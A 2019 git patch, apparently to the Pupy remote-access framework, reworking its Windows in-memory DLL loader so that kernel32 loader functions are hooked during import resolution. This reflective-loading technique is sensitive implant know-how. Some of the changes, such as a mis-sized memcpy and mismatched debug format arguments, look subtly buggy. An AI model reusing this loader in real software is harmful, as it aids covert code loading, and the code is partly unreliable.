From b2d9777dca6208ad87907b18e84cd11e7c7a23cd Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Tue, 24 Sep 2019 21:27:23 +0300 Subject: [PATCH] [Experemental] clinet/windows: Apply MemoryImporter hooks during load --- client/sources/MemoryModule.c | 159 +++++++++++++++++---- client/sources/MemoryModule.h | 36 +++-- client/sources/MyLoadLibrary.c | 250 +++++++++++++++++++++++---------- client/sources/MyLoadLibrary.h | 4 + pupy/pupy/dl_hacks.py | 46 +----- 5 files changed, 341 insertions(+), 154 deletions(-) diff --git a/client/sources/MemoryModule.c b/client/sources/MemoryModule.c index 5fb6acd5..ae03824c 100644 --- a/client/sources/MemoryModule.c +++ b/client/sources/MemoryModule.c @@ -60,10 +60,14 @@ typedef struct { BOOL initialized; BOOL isDLL; BOOL isRelocated; - CustomLoadLibraryFunc loadLibrary; - CustomGetProcAddressFunc getProcAddress; CustomFreeLibraryFunc freeLibrary; - void *userdata; + CustomGetProcAddress getProcAddress; + CustomLoadLibraryW loadLibraryW; + CustomLoadLibraryA loadLibraryA; + CustomLoadLibraryExA loadLibraryExA; + CustomLoadLibraryExW loadLibraryExW; + CustomGetModuleHandleA getModuleHandleA; + CustomGetModuleHandleW getModuleHandleW; ExeEntryProc exeEntry; DWORD pageSize; FUNCIDX exports; @@ -356,6 +360,34 @@ PerformBaseRelocation(PMEMORYMODULE module, SIZE_T delta) return TRUE; } +typedef struct { + const char *symbol; + FARPROC addr; +} ImportHooks; + +static FARPROC +GetImportAddr( + ImportHooks *hooks, CustomGetProcAddress getProcAddress, + HCUSTOMMODULE hModule, LPCSTR pszSymName) +{ + ImportHooks *iter; + + if (!hooks) + return getProcAddress(hModule, pszSymName); + + for (iter = hooks; iter->symbol; iter ++) { + if (!iter->addr) + continue; + + if (!strcmp(iter->symbol, pszSymName)) { + dprint("HOOK %s -> %p\n", pszSymName, iter->addr); + return iter->addr; + } + } + + return getProcAddress(hModule, pszSymName); +} + static BOOL BuildImportTable(PMEMORYMODULE module) { @@ -363,56 +395,121 @@ BuildImportTable(PMEMORYMODULE module) PIMAGE_IMPORT_DESCRIPTOR importDesc; BOOL result = TRUE; - PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT); - if (directory->Size == 0) { + PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY( + module, IMAGE_DIRECTORY_ENTRY_IMPORT); + + ImportHooks kernel32Hooks[] = { + {"LoadLibraryA", (FARPROC) module->loadLibraryA}, + {"LoadLibraryW", (FARPROC) module->loadLibraryW}, + {"LoadLibraryExA", (FARPROC) module->loadLibraryExA}, + {"LoadLibraryExW", (FARPROC) module->loadLibraryExW}, + {"GetModuleHandleA", (FARPROC) module->getModuleHandleA}, + {"GetModuleHandleW", (FARPROC) module->getModuleHandleW}, + {"GetProcAddress", (FARPROC) module->getProcAddress}, + {"FreeLibrary", (FARPROC) module->freeLibrary}, + {NULL, NULL} + }; + + if (directory->Size == 0) return TRUE; - } + + dprint("Resolving imports\n"); importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (codeBase + directory->VirtualAddress); - for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++) { + for ( + ; + !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++ + ) { + ImportHooks *hooks = NULL; uintptr_t *thunkRef; FARPROC *funcRef; HCUSTOMMODULE *tmp; - HCUSTOMMODULE handle = module->loadLibrary((LPCSTR) (codeBase + importDesc->Name), module->userdata); - if (handle == NULL) { + HCUSTOMMODULE handle; + LPCSTR lpcszLibraryName = (LPCSTR) (codeBase + importDesc->Name); + + dprint("Import %s (LoadLibraryA = %p)\n", lpcszLibraryName, module->loadLibraryA); + + handle = module->loadLibraryA(lpcszLibraryName); + + dprint("Import %s -> %p\n", lpcszLibraryName, handle); + + if (!handle) { SetLastError(ERROR_MOD_NOT_FOUND); result = FALSE; break; } - tmp = (HCUSTOMMODULE *) realloc(module->modules, (module->numModules+1)*(sizeof(HCUSTOMMODULE))); + tmp = (HCUSTOMMODULE *) realloc( + module->modules, (module->numModules+1)*(sizeof(HCUSTOMMODULE))); if (tmp == NULL) { - module->freeLibrary(handle, module->userdata); + module->freeLibrary(handle); SetLastError(ERROR_OUTOFMEMORY); result = FALSE; break; } - module->modules = tmp; + module->modules = tmp; module->modules[module->numModules++] = handle; + if (importDesc->OriginalFirstThunk) { thunkRef = (uintptr_t *) (codeBase + importDesc->OriginalFirstThunk); funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk); + dprint("%s have hint table, offset=%lu\n", + lpcszLibraryName, importDesc->OriginalFirstThunk); } else { // no hint table + dprint("%s does not have hint table\n", lpcszLibraryName); thunkRef = (uintptr_t *) (codeBase + importDesc->FirstThunk); funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk); } - for (; *thunkRef; thunkRef++, funcRef++) { + + if (!_stricmp(lpcszLibraryName, "KERNEL32.DLL")) { + hooks = kernel32Hooks; + dprint("Use hooks for kernel32: %p\n", hooks); + } + + dprint("Resolving symbols.. (%p)\n", thunkRef); + + for (; thunkRef && *thunkRef; thunkRef++, funcRef++) { + dprint("Thunk value: %p\n", *thunkRef); + if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) { - *funcRef = module->getProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef), module->userdata); + + dprint("Import by thunk (%d)\n", IMAGE_ORDINAL(*thunkRef)); + + *funcRef = module->getProcAddress( + handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef) + ); + + dprint("Import %d@%s -> %p\n", + IMAGE_ORDINAL(*thunkRef), lpcszLibraryName, *funcRef); + } else { - PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME) (codeBase + (*thunkRef)); - *funcRef = module->getProcAddress(handle, (LPCSTR)&thunkData->Name, module->userdata); + PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME) ( + codeBase + (*thunkRef)); + + dprint("Import %s@%s -> ?\n", + (LPCSTR)&thunkData->Name, lpcszLibraryName); + + *funcRef = GetImportAddr( + hooks, module->getProcAddress, + handle, (LPCSTR)&thunkData->Name + ); + + dprint("Import %s@%s -> %p\n", + (LPCSTR)&thunkData->Name, lpcszLibraryName, *funcRef); } - if (*funcRef == 0) { + + if (!*funcRef) { result = FALSE; break; } } + dprint("Resolving symbols %s -> complete, result=%p\n", lpcszLibraryName, result); + if (!result) { - module->freeLibrary(handle, module->userdata); + module->freeLibrary(handle); SetLastError(ERROR_PROC_NOT_FOUND); break; } @@ -499,7 +596,7 @@ VOID BuildExportTable(PMEMORYMODULE module) ordinal = (WORD *) (codeBase + exports->AddressOfNameOrdinals); for (i=0; iNumberOfNames; i++, nameRef++, ordinal++) { - char * pcName = (const char *) (codeBase + (*nameRef)); + LPCSTR pcName = (LPCSTR) (codeBase + (*nameRef)); DWORD dwIdx = *ordinal; FARPROC proc = NULL; @@ -545,11 +642,10 @@ VOID CleanupHeaders(PMEMORYMODULE module) { } } -HMEMORYMODULE MemoryLoadLibraryEx(const void *data, - CustomLoadLibraryFunc loadLibrary, - CustomGetProcAddressFunc getProcAddress, - CustomFreeLibraryFunc freeLibrary, - void *userdata, void *dllmainArg) +HMEMORYMODULE MemoryLoadLibraryEx( + const void *data, + PDL_CALLBACKS callbacks, + void *dllmainArg) { PMEMORYMODULE result; PIMAGE_DOS_HEADER dos_header; @@ -615,10 +711,15 @@ HMEMORYMODULE MemoryLoadLibraryEx(const void *data, result->codeBase = code; result->isDLL = (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0; - result->loadLibrary = loadLibrary; - result->getProcAddress = getProcAddress; - result->freeLibrary = freeLibrary; - result->userdata = userdata; + + result->loadLibraryA = callbacks->loadLibraryA; + result->loadLibraryW = callbacks->loadLibraryW; + result->loadLibraryExA = callbacks->loadLibraryExA; + result->loadLibraryExW = callbacks->loadLibraryExW; + result->getModuleHandleA = callbacks->getModuleHandleA; + result->getModuleHandleW = callbacks->getModuleHandleW; + result->getProcAddress = callbacks->getProcAddress; + result->freeLibrary = callbacks->freeLibrary; GetNativeSystemInfo(&sysInfo); @@ -763,7 +864,7 @@ void MemoryFreeLibrary(HMEMORYMODULE mod) int i; for (i=0; inumModules; i++) { if (module->modules[i] != NULL) { - module->freeLibrary(module->modules[i], module->userdata); + module->freeLibrary(module->modules[i]); } } diff --git a/client/sources/MemoryModule.h b/client/sources/MemoryModule.h index 6e8eda0a..321d5056 100644 --- a/client/sources/MemoryModule.h +++ b/client/sources/MemoryModule.h @@ -39,9 +39,14 @@ typedef void *HCUSTOMMODULE; extern "C" { #endif -typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *); -typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *); -typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *); +typedef HMODULE (*CustomGetModuleHandleA)(LPCSTR); +typedef HMODULE (*CustomGetModuleHandleW)(LPCWSTR); +typedef HMODULE (*CustomLoadLibraryExA)(LPCSTR, HANDLE, DWORD); +typedef HMODULE (*CustomLoadLibraryExW)(LPCWSTR, HANDLE, DWORD); +typedef HCUSTOMMODULE (*CustomLoadLibraryW)(LPCWSTR); +typedef HCUSTOMMODULE (*CustomLoadLibraryA)(LPCSTR); +typedef FARPROC (*CustomGetProcAddress)(HCUSTOMMODULE, LPCSTR); +typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE); /** * Load EXE/DLL from memory location. @@ -51,16 +56,23 @@ typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *); */ HMEMORYMODULE MemoryLoadLibrary(const void *); +typedef struct { + CustomLoadLibraryA loadLibraryA; + CustomLoadLibraryW loadLibraryW; + CustomLoadLibraryExA loadLibraryExA; + CustomLoadLibraryExW loadLibraryExW; + CustomGetModuleHandleA getModuleHandleA; + CustomGetModuleHandleW getModuleHandleW; + CustomGetProcAddress getProcAddress; + CustomFreeLibraryFunc freeLibrary; +} DL_CALLBACKS, *PDL_CALLBACKS; + /** * Load EXE/DLL from memory location using custom dependency resolvers. * * Dependencies will be resolved using passed callback methods. */ -HMEMORYMODULE MemoryLoadLibraryEx(const void *, - CustomLoadLibraryFunc, - CustomGetProcAddressFunc, - CustomFreeLibraryFunc, - void *, void *); +HMEMORYMODULE MemoryLoadLibraryEx(const void *, PDL_CALLBACKS, void *); /** * Get address of exported method. Supports loading both by name and by @@ -73,6 +85,14 @@ FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR); */ void MemoryFreeLibrary(HMEMORYMODULE); +HMODULE MyGetModuleHandleA(LPCSTR name); +HMODULE MyGetModuleHandleW(LPCWSTR name); +HMODULE MyLoadLibraryA(LPCSTR name); +HMODULE MyLoadLibraryW(LPCWSTR name); + +HMODULE MyLoadLibraryExA(LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags); +HMODULE MyLoadLibraryExW(LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags); + #ifdef __cplusplus } #endif diff --git a/client/sources/MyLoadLibrary.c b/client/sources/MyLoadLibrary.c index 3485b64f..20143c82 100644 --- a/client/sources/MyLoadLibrary.c +++ b/client/sources/MyLoadLibrary.c @@ -9,17 +9,22 @@ typedef struct { PSTR name; + PSTR fileName; + HCUSTOMMODULE module; int refcount; UT_hash_handle by_name; + UT_hash_handle by_filename; UT_hash_handle by_module; } HCUSTOMLIBRARY, *PHCUSTOMLIBRARY; typedef struct { PHCUSTOMLIBRARY by_module; PHCUSTOMLIBRARY by_name; + PHCUSTOMLIBRARY by_filename; SRWLOCK lock; + PDL_CALLBACKS pCallbacks; } HLIBRARIES, *PHLIBRARIES; static PHLIBRARIES libraries = NULL; @@ -51,32 +56,60 @@ static PHCUSTOMLIBRARY _FindMemoryModule(LPCSTR name, HMODULE module) AcquireSRWLockShared(&libraries->lock); if (name) { - PSTR srcName = NULL; + LPCSTR srcName = NULL; PSTR psName; - size_t len; + PSTR psFileName; + PSTR psi; + size_t len, fileNameLen; srcName = strrchr(name, '\\'); + if (srcName) + srcName ++; - if (!srcName) + if (!srcName || !srcName[0]) { srcName = strrchr(name, '/'); + if (srcName) + srcName ++; + } - if (!srcName) + if (!srcName || !srcName[0]) srcName = name; len = strlen(srcName); + fileNameLen = strlen(name); + psName = _alloca(len + 1); + psFileName = _alloca(fileNameLen + 1); memcpy(psName, srcName, len+1); + memcpy(psFileName, name, len+1); + _strupr(psName); + _strupr(psFileName); + + psi = strrchr(psName, '.'); + if (psi && !strcmp(psi, ".DLL")) + *psi = '\0'; + + for (psi=psFileName; *psi; psi++) + if (*psi == '/') + *psi = '\\'; dprint( "_FindMemoryModule by name %s %d (%s).. \n", srcName, len, psName); HASH_FIND( - by_name, libraries->by_name, - psName, len, phIdx + by_filename, libraries->by_filename, + psFileName, fileNameLen, phIdx ); + if (!phIdx) { + HASH_FIND( + by_name, libraries->by_name, + psName, len, phIdx + ); + } + dprint( "_FindMemoryModule by name %s -> %p (%p)\n", psName, phIdx, phIdx? phIdx->module : NULL); @@ -96,6 +129,14 @@ static PHCUSTOMLIBRARY _FindMemoryModule(LPCSTR name, HMODULE module) return phIdx; } +static DL_CALLBACKS callbacks = { + MyLoadLibraryA, MyLoadLibraryW, + MyLoadLibraryExA, MyLoadLibraryExW, + MyGetModuleHandleA, MyGetModuleHandleW, + MyGetProcAddress, + MyFreeLibrary +}; + /**************************************************************** * Insert a MemoryModule into the linked list of loaded modules */ @@ -105,51 +146,73 @@ static PHCUSTOMLIBRARY _AddMemoryModule( PHCUSTOMLIBRARY hmodule = (PHCUSTOMLIBRARY) malloc( sizeof(HCUSTOMLIBRARY)); - PSTR srcName = NULL; + LPCSTR srcName = NULL; + PSTR psi; if (!libraries) { libraries = (PHLIBRARIES) malloc(sizeof(HLIBRARIES)); libraries->by_module = NULL; libraries->by_name = NULL; + libraries->by_filename = NULL; + libraries->pCallbacks = &callbacks; + InitializeSRWLock(&libraries->lock); dprint("Initialize libraries: %p\n", libraries); } srcName = strrchr(name, '\\'); + if (srcName) + srcName ++; - if (!srcName) + if (!srcName || !srcName[0]) { srcName = strrchr(name, '/'); + if (srcName) + srcName ++; + } - if (!srcName) + if (!srcName || !srcName[0]) srcName = name; hmodule->refcount = 1; hmodule->name = strdup(srcName); + hmodule->fileName = strdup(name); hmodule->module = module; _strupr(hmodule->name); + _strupr(hmodule->fileName); + + psi = strchr(hmodule->name, '.'); + if (psi && !strcmp(psi, ".DLL")) + *psi = '\0'; + + for (psi=hmodule->fileName; *psi; psi++) + if (*psi == '/') + *psi = '\\'; AcquireSRWLockExclusive(&libraries->lock); - dprint( - "_AddMemoryModule(%s, %p (s=%d)) .. #1\n", - hmodule->name, module, sizeof(hmodule->module)); - HASH_ADD_KEYPTR( by_module, libraries->by_module, &hmodule->module, sizeof(hmodule->module), hmodule ); - dprint("_AddMemoryModule(%s, %p) .. #2\n", hmodule->name, module); + dprint( + "_AddMemoryModule(%s (%s), %p)\n", + hmodule->name, + hmodule->fileName, + module + ); HASH_ADD_KEYPTR( by_name, libraries->by_name, hmodule->name, strlen(hmodule->name), hmodule ); - dprint("_AddMemoryModule(%s, %p) .. #3\n", - hmodule->name, module); + HASH_ADD_KEYPTR( + by_filename, libraries->by_filename, hmodule->fileName, + strlen(hmodule->fileName), hmodule + ); ReleaseSRWLockExclusive(&libraries->lock); @@ -159,68 +222,39 @@ static PHCUSTOMLIBRARY _AddMemoryModule( return hmodule; } -/**************************************************************** - * Helper functions for MemoryLoadLibraryEx - */ -static FARPROC _GetProcAddress(HCUSTOMMODULE module, LPCSTR name, void *userdata) -{ - return MyGetProcAddress(module, name); -} - -static void _FreeLibrary(HCUSTOMMODULE module, void *userdata) -{ - MyFreeLibrary(module); -} - -static HCUSTOMMODULE _LoadLibrary(LPCSTR filename, void *userdata) -{ - HCUSTOMMODULE result; - PHCUSTOMLIBRARY lib; - - lib = _FindMemoryModule(filename, NULL); - if (lib) { - lib->refcount += 1; - - printf("_LoadLibrary(%s, %p) -> %s[%d]\n\n", - filename, userdata, lib->name, lib->refcount); - return lib->module; - } else { - dprint( - "_LoadLibrary(%s, %p): _FindMemoryModule failed\n", - filename, userdata - ); - } - - result = (HCUSTOMMODULE) LoadLibraryA(filename); - - dprint("LoadLibraryA(%s) -> %p\n\n", filename, result); - return result; -} - /**************************************************************** * Public functions */ -HMODULE MyGetModuleHandle(LPCSTR name) +HMODULE MyGetModuleHandleA(LPCSTR name) { PHCUSTOMLIBRARY lib; + lib = _FindMemoryModule(name, NULL); if (lib) return lib->module; - return GetModuleHandle(name); + + return GetModuleHandleA(name); } HMODULE MyLoadLibrary(LPCSTR name, void *bytes, void *dllmainArg) { - HMODULE hLoadedModule = MyGetModuleHandle(name); + HMODULE hLoadedModule; + + dprint("MyLoadLibrary '%s'..\n", name); + hLoadedModule = MyGetModuleHandleA(name); + + dprint("MyLoadLibrary %s registered? %p\n", name, hLoadedModule); + if (hLoadedModule) return hLoadedModule; if (bytes) { - HCUSTOMMODULE mod = MemoryLoadLibraryEx(bytes, - _LoadLibrary, - _GetProcAddress, - _FreeLibrary, - NULL, dllmainArg); + HCUSTOMMODULE mod; + PDL_CALLBACKS cb = libraries ? libraries->pCallbacks : &callbacks; + + dprint("Callbacks: %p\n", cb); + + mod = MemoryLoadLibraryEx(bytes, cb, dllmainArg); dprint( "MyLoadLibrary: loading %s, buf=%p (dllmainArg=%p) -> %p\n", @@ -240,6 +274,71 @@ HMODULE MyLoadLibrary(LPCSTR name, void *bytes, void *dllmainArg) return LoadLibrary(name); } +HMODULE MyGetModuleHandleW(LPCWSTR name) { + PSTR pszName = NULL; + HMODULE hResult = NULL; + DWORD dwRequiredSize = WideCharToMultiByte( + CP_OEMCP, 0, name, -1, NULL, + 0, NULL, NULL + ); + + if (!SUCCEEDED(dwRequiredSize)) + return NULL; + + dwRequiredSize += 1; + + pszName = LocalAlloc(LMEM_FIXED, dwRequiredSize); + if (!pszName) + return NULL; + + dwRequiredSize = WideCharToMultiByte( + CP_OEMCP, 0, name, -1, pszName, + dwRequiredSize, NULL, NULL + ); + + if (SUCCEEDED(dwRequiredSize)) + hResult = MyGetModuleHandleA(pszName); + + LocalFree(pszName); + + if (hResult) + return hResult; + + return GetModuleHandleW(name); +} + +HMODULE MyLoadLibraryExA(LPCSTR name, HANDLE hFile, DWORD dwFlags) { + HMODULE hModule = MyGetModuleHandleA(name); + if (hModule) + return hModule; + + return LoadLibraryExA(name, hFile, dwFlags); +} + +HMODULE MyLoadLibraryExW(LPCWSTR name, HANDLE hFile, DWORD dwFlags) { + HMODULE hModule = MyGetModuleHandleW(name); + if (hModule) + return hModule; + + return LoadLibraryExW(name, hFile, dwFlags); +} + +HMODULE MyLoadLibraryA(LPCSTR name) { + HMODULE hModule = MyGetModuleHandleA(name); + if (hModule) + return hModule; + + return LoadLibraryA(name); +} + +HMODULE MyLoadLibraryW(LPCWSTR name) { + HMODULE hModule = MyGetModuleHandleW(name); + if (hModule) + return hModule; + + return LoadLibraryW(name); +} + BOOL MyFreeLibrary(HMODULE module) { PHCUSTOMLIBRARY lib = _FindMemoryModule(NULL, module); @@ -248,6 +347,7 @@ BOOL MyFreeLibrary(HMODULE module) AcquireSRWLockExclusive(&libraries->lock); HASH_DELETE(by_name, libraries->by_name, lib); + HASH_DELETE(by_filename, libraries->by_filename, lib); HASH_DELETE(by_module, libraries->by_module, lib); ReleaseSRWLockExclusive(&libraries->lock); @@ -264,22 +364,28 @@ BOOL MyFreeLibrary(HMODULE module) FARPROC MyGetProcAddress(HMODULE module, LPCSTR procname) { - FARPROC proc; - PHCUSTOMLIBRARY lib = _FindMemoryModule(NULL, module); - if (lib) { - /* dprint("MyGetProcAddress(%p, %p(%s))\n", module, procname, HIWORD(procname) ? procname : ""); */ + PHCUSTOMLIBRARY lib; + FARPROC fpFunc = NULL; - proc = MemoryGetProcAddress(lib->module, procname); + lib = _FindMemoryModule(NULL, module); + if (lib) + fpFunc = MemoryGetProcAddress(lib->module, procname); + else + fpFunc = GetProcAddress(module, procname); - /* dprint("MyGetProcAddress(%p, %p(%s)) -> %p\n", module, procname, HIWORD(procname) ? procname : "", proc); */ - return proc; - } else - return GetProcAddress(module, procname); + if (HIWORD(procname) == 0) { + dprint("MyGetProcAddress(%p, %d) -> %p (lib: %p)\n", + module, LOWORD(procname), lib); + } else { + dprint("MyGetProcAddress(%p, %s) -> %p (lib: %p)\n", module, procname, lib); + } + + return fpFunc; } FARPROC MyFindProcAddress(LPCSTR modulename, LPCSTR procname) { - HCUSTOMMODULE mod = MyGetModuleHandle(modulename); + HCUSTOMMODULE mod = MyGetModuleHandleA(modulename); void *addr = NULL; /* dprint("MyFindProcAddress(%s, %s) -> %p\n", modulename, procname, mod); */ if (mod) { diff --git a/client/sources/MyLoadLibrary.h b/client/sources/MyLoadLibrary.h index a9383100..67b00a3e 100644 --- a/client/sources/MyLoadLibrary.h +++ b/client/sources/MyLoadLibrary.h @@ -6,6 +6,10 @@ HMODULE MyLoadLibrary(LPCSTR, void *, void *); HMODULE MyGetModuleHandle(LPCSTR); BOOL MyFreeLibrary(HMODULE); + +HMODULE MyLoadLibraryA(LPCSTR); +HMODULE MyLoadLibraryW(LPCWSTR); + FARPROC MyGetProcAddress(HMODULE, LPCSTR); FARPROC MyFindProcAddress(LPCSTR modulename, LPCSTR procname); diff --git a/pupy/pupy/dl_hacks.py b/pupy/pupy/dl_hacks.py index 1333cc7d..ffa896e5 100644 --- a/pupy/pupy/dl_hacks.py +++ b/pupy/pupy/dl_hacks.py @@ -22,44 +22,6 @@ NATIVE_LIB_PATTERNS = [ 'lib{}27.dll' ] -# TODO: Add search paths ? - -class PupyCDLL(ctypes.CDLL): - __slots__ = ('_FuncPtr_orig', '_FuncPtr', '_name') - - def __init__(self, name, **kwargs): - super(PupyCDLL, self).__init__(name, **kwargs) - self._FuncPtr_orig = self._FuncPtr - self._FuncPtr = self._find_function_address - self._name = _pupy_make_library_path(self._name) - pupy.dprint('CDLL({})', self._name) - - def _find_function_address(self, search_tuple): - name, handle = search_tuple - pupy.dprint('PupyCDLL._find_function_address: {}', name) - if not type(name) in (str, unicode): - return self._FuncPtr_orig(search_tuple) - - else: - addr = pupy.find_function_address(self._name, name) - pupy.dprint( - 'PupyCDLL._find_function_address: {} = {}', name, addr) - if addr: - return self._FuncPtr_orig(addr) - else: - return self._FuncPtr_orig(search_tuple) - - -class PupyPyDLL(PupyCDLL): - _func_flags_ = ctypes._FUNCFLAG_CDECL | ctypes._FUNCFLAG_PYTHONAPI - - def __init__(self, name, **kwargs): - if name in ('python dll', 'python.dll'): - name = 'python27.dll' - kwargs['handle'] = False - - super(PupyPyDLL, self).__init__(name, **kwargs) - def _find_library(name): for pattern in NATIVE_LIB_PATTERNS: @@ -123,12 +85,6 @@ def apply_dl_hacks(): setattr(ctypes_util, '_system_find_library', _find_library) - if pupy.is_supported(pupy.find_function_address): - setattr(ctypes, 'CDLL_ORIG', ctypes.CDLL) - - ctypes.CDLL = PupyCDLL - ctypes.PyDLL = PupyPyDLL - ctypes._dlopen = _pupy_dlopen ctypes.util.find_library = _pupy_find_library @@ -136,7 +92,7 @@ def apply_dl_hacks(): if sys.platform == 'win32': try: - libpython = ctypes.PyDLL('python27.dll', handle=False) + libpython = ctypes.PyDLL('python27.dll') except WindowsError: pupy.dprint('python27.dll not found') else: